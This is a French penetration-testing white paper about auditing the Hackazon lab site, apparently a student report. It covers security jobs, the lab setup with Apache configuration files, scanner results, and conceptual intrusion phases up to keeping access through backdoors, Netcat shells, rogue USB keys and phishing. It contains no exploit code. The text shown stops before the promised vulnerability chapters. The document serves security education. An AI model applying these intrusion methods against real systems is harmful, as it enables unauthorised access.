Vous êtes sur la page 1sur 44

Livre Blanc

Pentest / Tests dIntrusion


Cas pratique sur le site Hackazon

Where Passion Leads to Excellence

Version 1.0
ISBN : 978-2-9558088-0-1

Rdacteur :
Thibault MILLANT
tmillantts1@yahoo.fr
Promo 2016

Superviseur :
Jean-Franois BRAUD
jean-francois.beraud@avisto.com
28 Juillet 2016

Rsum
Ce livre blanc fournissant des recommandations sur la scurisation dun site web et dtaillant les diffrentes attaques pour amliorer la comprhension des dangers prsents sur le Web.
Cela fait des annes que lon entend parler des vulnrabilits, telles que les Injections SQL, CrossSite Scripting, Cross-Site Request Forgery, etc. Elles restent pourtant trs prsentes sur le Web.
Parce que mconnues, ou mal comprises, nous avons souhaiter rdiger ce document afin dexpliquer
leurs principes, via le cas concret du site Hackazon, et de proposer diffrents moyens de scurisation de
ces failles courantes pouvant avoir un impact fort pour la scurit des usagers ou des administrateurs.

Table des matires


I

Les mtiers de la Cyber Scurit


0.1
0.2
0.3
0.4

II

Architecte de scurit . . . . . . . . . . . . . . . . . . .
Expert en scurit des systmes dinformation . . . . .
Expert des tests dintrusion . . . . . . . . . . . . . . . .
Responsable de la scurit des systmes dinformation

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

.
.
.
.

Environnement

3
4
4
4

0.5 Le serveur cible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .


0.5.1 Hackazon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
0.6 Lordinateur dattaque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

III Audit de scurit du site Web Hackazon


Les 5 phases dune intrusion

6
6
8

1 Phase 1 : Reconnaissance
1.1 Reconnaissance Passive . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2 Sniffing rseau . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3 Reconnaissance Active . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

10
10
10
11

2 Phase 2 : Scanning
2.1 Arachni : Scanner de Vulnrabilits Web . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.1 Prsentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.2 Rsultats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

12
12
12
12

3 Phase 3 : Obtenir des accs

14

4 Phase 4 : Maintien des accs

16

5 Phase 5 : Effacement des traces

17

IV

18

Recueil des 7 catgories de failles

6 "Upload"
6.1 Prsentation
6.2 Dcouverte .
6.3 Exploitation .
6.4 Scurisation .
6.5 Surveillance .

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

19
19
19
19
19
21

7 CSRF : Cross-Site Request Forgery


7.1 Prsentation . . . . . . . . . . . . . . . . . .
7.1.1 Fonctionnement . . . . . . . . . . . .
7.2 Dcouverte . . . . . . . . . . . . . . . . . . .
7.3 Exploitation . . . . . . . . . . . . . . . . . . .
7.4 Correctif . . . . . . . . . . . . . . . . . . . . .
7.4.1 Cration de tokens synchroniss . . .
7.4.2 Systme de dfense double cookies
7.4.3 Encrypted Token Pattern . . . . . . .

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.

22
22
23
23
23
23
24
24
24

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

Tests dintrusion
7.4.4 Header customis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

24

8 LFI : Local File Inclusion


8.1 Prsentation . . . .
8.2 Dcouverte . . . . .
8.3 Exploitation . . . . .
8.4 Correctifs . . . . . .
8.5 Surveillance . . . . .

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

25
25
25
25
26
27

9 Path Traversal
9.1 Prsentation
9.2 Dcouverte .
9.3 Exploitation .
9.4 Correctif . . .
9.5 Surveillance .

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

29
29
29
29
30
31

10 Operating System command injection


10.1 Prsentation . . . . . . . . . . . . .
10.2 Dcouverte . . . . . . . . . . . . . .
10.3 Exploitation . . . . . . . . . . . . . .
10.4 Correction . . . . . . . . . . . . . . .
10.4.1 Escapeshellarg . . . . . . . .
10.5 Surveillance . . . . . . . . . . . . . .
10.6 Remarques . . . . . . . . . . . . . .

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

.
.
.
.
.
.
.

32
32
32
32
33
33
33
34

11 Blind SQL Injection


11.1 Prsentation .
11.2 Dcouverte . .
11.3 Exploitation . .
11.4 Correctif . . . .
11.5 Surveillance . .

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

35
35
35
35
36
37

12 XSS : Cross-Site Scripting


12.1 Prsentation . . . . . .
12.2 Dcouverte . . . . . . .
12.3 Exploitation . . . . . . .
12.4 Correctif . . . . . . . . .
12.5 Surveillance . . . . . . .

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

38
38
38
39
39
39

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

.
.
.
.
.

Conclusion

Thibault MILLANT

40

Juillet 2016

Premire partie

Les mtiers de la Cyber Scurit

Tests dintrusion

Figure 1 Gestion de la conformit par les risques mtiers. (Source : Inventy)

0.1

Architecte de scurit
Larchitecte de scurit structure les choix techniques, technologiques et mthodologiques dun ensemble (systme dinformation, logiciel) rpondant des exigences de scurit, en cohrence avec les activits quivalentes ralises au niveau de la solution qui
lintgre. Il sassure de la dclinaison optimale des exigences techniques dentre (fonctionnalits offrir, contraintes de performance, dinteroprabilit, dinterchangeabilit, de robustesse, dintgration de solutions sur tagre, dexportabilit), selon des critres de cot, defficacit, de stabilit, de matrise, de niveau de risque, de respect des standards, daptitude
la production, au dploiement et la maintenance MCO (maintien en conditions oprationnelles) et MCS (maintien en conditions de scurit).
Il identifie et valide la cartographie du systme dinformation et notamment sassure que
les hypothses de scurit relatives lenvironnement de son architecture sont clairement
nonces et prises en compte dans sa conception. Il veille ce que les exigences de scurisation applicables aux diffrents constituants de son architecture ou aux outils permettant
de la produire soient effectivement dclines. Il fournit la connaissance de ltat de lart des
architectures prenant en compte les dveloppements futurs et il prpare les dossiers de
conception et de justification.
(Source : ANSSI)

Thibault MILLANT

Juillet 2016

Tests dintrusion

0.2

Expert en scurit des systmes dinformation


Lexpert en SSI / cyberscurit est en capacit de traiter des dossiers complexes (primtre
denvergure ou spcificit technique pousse). Ses connaissances approfondies des rfrentiels de scurit, rglementations, produits et systmes lui permettent dinstruire des dossiers de scurit et de les soutenir auprs des acteurs du domaine (administration, instances
de rgulation, CESTI).
Ses capacits pdagogiques et rdactionnelles lui permettent dlaborer des argumentaires
techniques dtaills, voire de proposer de nouveaux dveloppements pour constituer ses
dossiers. Sa connaissance des solutions techniques lui permet dargumenter sur les spcifications de scurit avec des dveloppeurs et des intgrateurs, en charge de dfinir et
dimplmenter les architectures. Une expertise scurit cible peut couvrir lensemble des
fonctionnalits dun produit ou de logiciels complexes dditeurs ou encore des domaines
spcifiques comme les noyaux ou protocoles autour des mtiers de lembarqu, la tlphonie sur IP, les multiples technologies associes au cloud computing voire aux systmes
nouveaux (systmes darmes, systmes de contrle industriels. . . ).
(Source : ANSSI)

0.3

Expert des tests dintrusion


Lexpert des tests dintrusion, ou hacker thique , est en mesure de pntrer le systme
dinformation et didentifier les divers chemins dintrusions, les techniques classiques ou atypiques utilises, traant ainsi le profil (profiling) des attaquants, leurs habitudes et mthode
de travail (accs, dpt, exfiltration, habitudes, priodicit. . . ).
Il connat les principes de protection des produits de scurit, leurs limites voire leurs mthodes de contournement. Se tenant inform grce aux forums ad hoc et revues spcialises,
il est en mesure de dvelopper des scnarios dintrusion ltat de lart et peut se spcialiser sur certaines cibles techniques (systmes dexploitation, tlphonie sur IP, protocoles
rseau, etc).
(Source : ANSSI)

0.4

Responsable de la scurit des systmes dinformation


Le responsable de la scurit des systmes dinformation se charge de proposer lautorit
comptente la politique de scurit du SI et de veiller son application. Le RSSI assure
un rle de conseil, dassistance, dinformation, de formation et dalerte. Il peut intervenir en
matire de SSI sur tout ou partie des systmes informatiques et tlcoms de son entit, tant
au niveau technique quorganisationnel. Il effectue un travail de veille technologique et rglementaire sur son domaine et propose les volutions quil juge ncessaires pour garantir la
scurit du systme dinformation dans son ensemble. Il est linterface reconnue des exploitants et des chefs de projets, mais aussi des experts et des intervenants extrieurs pour les
problmatiques de scurit de tout ou partie du SI.
(Source : ANSSI)

Thibault MILLANT

Juillet 2016

Deuxime partie

Environnement

Tests dintrusion

0.5

Le serveur cible

Sur le serveur cible, on trouve la dernire version dUbuntu, la version Ubuntu 15.10 Wily 1 . La version du kernel 2 est la 4.2.0-27.
On y trouve une infrastructure LAMP 3 avec un serveur Web Apache qui hberge le site Web Hackazon (comme recommand sur le Wiki 4 de ce dernier).
La version dApache est la 2.4.12 cre le 24 Juillet 2015.
La version de PHP est la 5.16.11 et celle de MySQL est la 5.6.28.
Le serveur a t configur en IP fixe pour y faciliter laccs : 192.168.100.123

0.5.1

Hackazon

Hackazon est un site dvelopp par Rapid7, qui utilise des technologies Web actuelles (JSON, XML,
GwT, AMF, AJAX, API REST, etc...) et contenant des vulnrabilits de type injection SQL, CSRF, XSS,
Inclusion, etc...
Il est ainsi possible de sessayer ou de se perfectionner la scurit informatique, notamment aux Tests
dintrusion en recherchant ces vulnrabilits.
Hackazon a t install avec la configuration recommand sur le Wiki 5 .
Voici le fichier de configuration du site :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

ServerName hackazon.lc
DocumentRoot /var/www/hackazon/web
<Directory />
Options FollowSymLinks
AllowOverride All
Order deny,allow
Allow from all
</Directory>
<Directory /var/www/hackazon/web/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
Allow from all
</Directory>

Listing 1 Fichier de configuration Apache pour le site Hackazon


Le site nutilise donc pas de HTTPS pour chiffrer les changes. Il est vident que cela reprsente
une faille, notamment sur les pages dauthentification.
Nous nutiliserons pas cette avantage dans notre mission.

1. http://www.ubuntu.com/
2. Noyau Linux
3. Linux Apache MySQL PHP
4. https://github.com/rapid7/hackazon/blob/master/docs/InstallationGuide.pdf
https://github.com/rapid7/hackazon/wiki/Tutorial
5. https://github.com/rapid7/hackazon/wiki/Tutorial

Thibault MILLANT

Juillet 2016

Tests dintrusion

La configuration dApache2, laisse par dfaut, est la suivante :


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

# Global configuration
#
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
# ErrorLog: The location of the error log file .
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you do define an error logfile for a <VirtualHost>
# container, that hosts errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ... , trace1, debug, info, notice , warn,
# error , crit , alert , emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl :warn"
#
LogLevel warn
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a subdirectory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>

#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file ) , because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{XForwardedFor}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{UserAgent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{UserAgent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i > %U" referer
LogFormat "%{Useragent}i" agent

Listing 2 Fichier de configuration Apache2


Le fichier /etc/apache2/envvars indique que lutilisateur pour apache2 est www-data par dfaut dans
notre configuration.
On trouve aussi des informations sur la configuration des logs (fichiers derreur, niveau de log, format
des logs, etc...), ainsi que les configurations des diffrents principaux dossiers.

Thibault MILLANT

Juillet 2016

Tests dintrusion

0.6

Lordinateur dattaque

Le second ordinateur fait tourner la dernire version de Kalilinux 6 (descendant de Backtrack) afin
dauditer la scurit du site Hackazon. Cest une rolling release 7 .
Les mises jour du serveur sont effectues une fois par semaine.
Plusieurs outils ont t installs pour complter la distribution, notamment des scanners de vulnrabilits tels que Nessus 8 et Arachni 9 .

6.
7.
8.
9.

https://www.kali.org/
Principe de mise jour en continue, sans besoin de rinstaller.
https://www.tenable.com/products/nessus-vulnerability-scanner
http://www.arachni-scanner.com/

Thibault MILLANT

Juillet 2016

Troisime partie

Audit de scurit du site Web


Hackazon
Les 5 phases dune intrusion

10

Chapitre 1

Phase 1 : Reconnaissance
La phase de reconnaissance a pour but de rcuprer, par divers moyens, le plus grand nombre
dinformations possibles, relativement discrtement, dans le but davoir une bonne vision des diffrents
points dentre, des points vulnrables, etc...
Cest la premire phase, il est donc important de ne pas se faire reprer, que ce soit physiquement
ou numriquement, afin de ne pas compromettre le reste de lopration.

1.1

Reconnaissance Passive

Lide est de rcuprer des informations sur la cible sans engager dchange avec celle-ci. Cest un
moyen de rester discret, dans lombre, avant de passer une phase plus agressive.
La reconnaissance passive nimplique pas forcment un ordinateur. Cela peut consister se rendre
devant la socit pour observer les horaires de travail des personnes cibles, afin de pouvoir effectuer
des actions sans quelle puisse le remarquer (ralentissements ou comportements anormaux de leur
poste de travail).
Google est aussi une grande source dinformation afin de collecter des dtails sur la compagnie, les
employers, etc.
Le Social Engineering 1 et le Dumpster diving 2 peuvent aussi tre utilis pour collecter des informations souvent trs utiles en vue deffectuer une intrusion.

1.2

Sniffing rseau

Le sniffing rseau consiste observer et rcuprer les changes qui se font sur le rseau. Il faut
donc avoir un accs au rseau.
Contrairement au scanner rseau (actif), le sniffing rseau est un procd passif. Il nimplique pas daction de la part de lattaquant vers la cible.
Le hacker se place en coute afin dobtenir un maximum dinformations.

1. Lingnierie sociale (ou social engineering en anglais) est une forme dacquisition dloyale dinformation et descroquerie,
utilise en informatique pour obtenir dautrui, un bien, un service ou des informations clefs. Cette pratique exploite les failles humaines et sociales de la structure cible, laquelle est li le systme informatique vis. Utilisant ses connaissances, son charisme,
limposture ou le culot, lattaquant abuse de la confiance, de lignorance ou de la crdulit des personnes possdant ce quil tente
dobtenir.
(Source : Wikipdia)
2. Principe de fouiller dans les poubelles, dchets, etc. professionnels ou personnels afin de rcuprer des informations.

11

Tests dintrusion

1.3

Reconnaissance Active

La reconnaissance active applique un change entre le hacker et la cible afin dobtenir de nombreuses informations, telles que des adresses IP, les services utiliss, les OS 3 utiliss.
De part leur cot actif, les risques de dtection sont plus importants que lors dune reconnaissance passive.
En effet, des outils comme Telnet, nslookup, netcat, etc... vont communiquer directement avec la cible,
via lenvoi de requtes. Nous laissons donc des traces de nos changes, et nous nous "faisons connatre"
en initiant une communication (log de connexion telnet).
Ce type de reconnaissances peut nous informer sur les diverses scurits (portes verrouilles, systmes douverture de portes, etc.)
Vu que je me suis charg de faire linstallation, je navais pas besoin deffectuer cette partie, ayant
dj toutes les informations.
Jai tout de mme effectu cette phase de reconnaissance afin de montrer comment rcuprer les
diverses informations.

3. Operating System

Thibault MILLANT

12

Juillet 2016

Chapitre 2

Phase 2 : Scanning
Avec les informations obtenues dans la phrase prcdente, nous allons scanner les diffrentes
adresses IPs, services.
Pour cela, nous avons recourt diffrents types de scanner, dont des scanners de vulnrabilits.
Ces derniers peuvent tre gnralistes ou plus ou moins spcialiss.
Lobjectif consistait auditer le site Web Hackazon dploy pour loccasion.
Jai donc principalement utilis des scanners de vulnrabilits orients Web, tels que Nikto 1 , ou Arachni,
mais aussi OpenVAS 2 et Nessus, plus gnralistes.

2.1 Arachni : Scanner de Vulnrabilits Web


2.1.1

Prsentation

Arachni est framework complet, modulaire, de haute performance, crit en Ruby, visant
aider les pentesters et les administrateurs valuer la scurit des applications Web.
Il est intelligent, il se forme par le suivi et lapprentissage du comportement de lapplication Web au cours du processus de scan et est en mesure deffectuer une mta-analyse en
utilisant un certain nombre de facteurs afin dvaluer correctement la fiabilit des rsultats et
intelligemment identifier (ou viter) les faux-positifs.
Contrairement dautres scanners, il tient compte de la nature dynamique des applications Web, permet de dtecter les changements causs lors dun dplacement travers les
chemins de la complexit cyclomatique dune application web et est capable de sajuster en
consquence. De cette faon, les vecteurs dattaque / dentre qui seraient autrement indtectables par les non-humains peuvent tre traits de faon transparente.
En outre, en raison de son intgration dans lenvironnement du navigateur, il peut galement contrler et dinspecter le code ct client, et supporte des applications web trs
compliques qui font un usage intensif des technologies telles que JavaScript, HTML5, manipulation DOM et AJAX.
Enfin, il est suffisamment polyvalent pour couvrir un grand nombre de cas dutilisation,
allant dun utilitaire de scanner en ligne de commande simple, un rseau global de scanners de haute performance, une bibliothque Ruby permettant audits scriptes, un multiutilisateur multi-scan web plateforme de collaboration.
(Source : arachni-scanner.com)

2.1.2

Rsultats

Le premier scan du site web e-commerce Hackazon a dur 11 jours, 13 heures, 34 minutes et 36
secondes et a test 46 197 pages.
1. https://www.cirt.net/Nikto2
2. http://www.openvas.org/

13

Tests dintrusion

Il a envoy 30 784 989 requtes HTTP, soit 32,701 requtes par secondes.
Les failles dtectes sont classes en deux types : les trusted correspondant aux failles considres
comme fiables, et les untrusted pouvant tre des faux positifs, car le serveur prsentait un comportement
anormale ou pouvait subir des interfrences dues des actions provenant dune utilisation extrieure
au scanner.
Dans ces catgories, on retrouve les failles prsentant un risque lev, moyen, ou faible, et dordre informationnel.
Pour les failles trusted, on obtient 17 failles prsentant un risque lev, 3 prsentant un risque moyen,
1381 prsentant un risque faible, et 30 dordre informationnel.
Pour les failles untrusted, on obtient 1 faille prsentant un risque lev, 4 prsentant un risque moyen,
et 1 prsentant un risque faible.
Nous allons faire, dans la 4e partie de ce document, un recueil dtaill des failles de niveau "risque
lev".

Thibault MILLANT

14

Juillet 2016

Chapitre 3

Phase 3 : Obtenir des accs


Maintenant que nous avons dcouvert des vulnrabilits grce aux phases de reconnaissance et de
scanning, nous pouvons passer la phase dexploitation.
Lobtention des accs est la phase la plus importante dune attaque en termes de dommages potentiels.
Les attaques DDOS 1 peuvent tre un moyen de causer des dommages, mais nous ne les aborderons
pas dans ce document.
Cette phase a pour but dobtenir des accs sur la cible (accs user, administrateur / root). Pour cela,
le hacker va utiliser des exploits 2 reposant sur les vulnrabilits dcouvertes.
Ces exploits peuvent tre locaux, hors-ligne, au sein dun LAN ou travers Internet (Buffer Overflow 3 ,
DOS, Session Hijacking 4 , etc...).
Pour cela, le hacker va utiliser tous les points daccs dcouverts. Il peut sattaquer aux rseaux,
des sites web, des applications, etc... Il peut aussi utiliser des techniques de social engineering.
Cest dailleurs un des moyens les plus utiliss et les plus efficaces pour atteindre son but. On trouve
diffrentes techniques reposant sur la faille humaine.
Aprs tude des habitudes des employs dune socit, on peut faire en sorte de leur faire ramasser
une cl USB pirate afin quil la branche sur son ordinateur et active la charge virale permettant aux
hackers dobtenir un accs distant sur un ordinateur reli au rseau de lentreprise.
Le phishing 5 est aussi trs utilis. Elle peut consister inciter un employ, par lintermdiaire dun
email, se rendre sur un site web pirate afin de rcuprer des informations de compte (login / mot de
passe), installer un programme malveillant sur son ordinateur, etc...
1. Distributed Denial Of Service. Une attaque par dni de service (denial of service attack, do labrviation DoS) est une attaque informatique ayant pour but de rendre indisponible un service, dempcher les utilisateurs lgitimes dun service de lutiliser.
Il peut sagir dinondater un rseau afin dempcher son fonctionnement, de perturber des connexions entre deux machines, dempcher laccs un service particulier, de faire de lobstruction daccs un service une personne en particulier et galement
de faire envoyer envoyer des milliards doctets une box internet.
Lattaque par dni de service peut ainsi bloquer un serveur de fichiers, rendre impossible laccs un serveur web ou empcher
la distribution de courriel dans une entreprise. (Source : Wikipdia)
2. Un exploit est, dans le domaine de la scurit informatique, un lment de programme permettant un individu ou
un logiciel malveillants dexploiter une faille de scurit informatique dans un systme dexploitation ou un logiciel, que ce soit
distance (remote exploit) ou sur la machine sur laquelle cet exploit est excut (local exploit) ; ceci, afin de semparer dun
ordinateur ou dun rseau, daccrotre le privilge dun logiciel ou dun utilisateur, ou encore deffectuer une attaque par dni de
service. (Source : Wikipdia)
3. En informatique, un dpassement de tampon ou dbordement de tampon (en anglais, buffer overflow) est un bug par lequel
un processus, lors de lcriture dans un tampon, crit lextrieur de lespace allou au tampon, crasant ainsi des informations
ncessaires au processus.
Lorsque le bug se produit non intentionnellement, le comportement de lordinateur devient imprvisible. Il en rsulte souvent un
blocage du programme, voire de tout le systme.
Le bug peut aussi tre provoqu intentionnellement et tre exploit pour violer la politique de scurit dun systme. Cette technique est couramment utilise par les pirates. La stratgie de lattaquant est alors de dtourner le programme bugu en lui faisant
excuter des instructions quil a introduites dans le processus. (Source : Wikipdia)
4. Rcupration du cookie de session dun utilisateur dun site Web, via un programme comme sslstrip par exemple. (Source :
Wikipdia)
5. Lhameonnage, phishing ou filoutage est une technique utilise par des fraudeurs pour obtenir des renseignements personnels dans le but de perptrer une usurpation didentit. La technique consiste faire croire la victime quelle sadresse un
tiers de confiance banque, administration, etc. afin de lui soutirer des renseignements personnels : mot de passe, numro
de carte de crdit, date de naissance, etc. Cest une forme dattaque informatique reposant sur lingnierie sociale. Elle peut se
faire par courrier lectronique, par des sites web falsifis ou autres moyens lectroniques. (Source : Wikipdia)

15

Tests dintrusion

Vous trouverez dans ce document diffrentes mthodes permettant dobtenir des accs sur le serveur via lexploitation de diffrentes vulnrabilits.
Un autre moyen dobtenir des accs repose sur les informations de la machine cible rcuprs. En
effet, nous avons, dans les premires phases, rcupr des informations sur les services et logiciels
tournant sur la machine cible, ainsi que leur version.
Nous pouvons nous rendre sur des sites comme www.exploit-db.com afin de rcuprer les exploits
connus associs aux versions des services de la cible et les excuter. En effet, sur une architecture de
production, les mises jour sont souvent appliques avec beaucoup de retard car il faut sassurer que
ces dernires ne vont pas dgrader le fonctionnement du serveur de production. Il est donc fortement
possible que les exploits soient toujours efficaces.
Nous pouvons aussi utiliser le framework Metasploit afin dutiliser un grand nombre dexploits, ou de
crer nos propres payloads 6 .

6. En informatique, on utilise ce terme au figur pour dsigner la partie du code excutable dun virus qui est spcifiquement
destine nuire (par opposition au code utilis par le virus pour se rpliquer notamment). (Source : Wikipdia)

Thibault MILLANT

16

Juillet 2016

Chapitre 4

Phase 4 : Maintien des accs


Exploiter une vulnrabilit et obtenir des accs est une chose, maintenir laccs en est une autre.
En effet, il est intressant pour un hacker dobtenir un accs permanent la machine cible. Si lattaque
est dtect, ou du moins lintrusion, il est possible que la vulnrabilit soit corrige. Il est aussi possible
quune mise jour ayant lieu aprs lattaque vienne corriger la faille.
Dans ce cas, le hacker ne pourra plus accder la cible en utilisant le mme exploit. Il peut tre long
et laborieux de refaire toute une exploitation dune vulnrabilit. Cest pourquoi lattaquant va chercher
mettre en place un moyen daccder distance sa cible.
Pour cela, on upload gnralement un bout de code (appel backdoor 1 ) sur la cible permettant de
sy connecter tout moment.
Il est aussi possible dutiliser des outils natifs de la cible, loutil Netcat 2 par exemple, afin de permettre
une connexion distance sur un shell 3 permettant dutiliser les commandes de la machine cible, comme
si on se trouvait devant.

1. Dans un logiciel, une porte drobe (de langlais backdoor, littralement porte de derrire) est une fonctionnalit inconnue
de lutilisateur lgitime, qui donne un accs secret au logiciel. (Source : Wikipdia)
2. En informatique, netcat est un utilitaire permettant douvrir des connexions rseau, que ce soit UDP ou TCP. Il est conu
pour tre incorpor aisment dans un large panel dapplications. En raison de sa polyvalence, netcat est aussi appel le couteau
suisse du TCP/IP . Il existe sur plusieurs systmes dexploitation et sutilise en ligne de commande. (Source : Wikipdia)
3. Une interface systme (shell en anglais) est une couche logicielle qui fournit linterface utilisateur dun systme dexploitation.
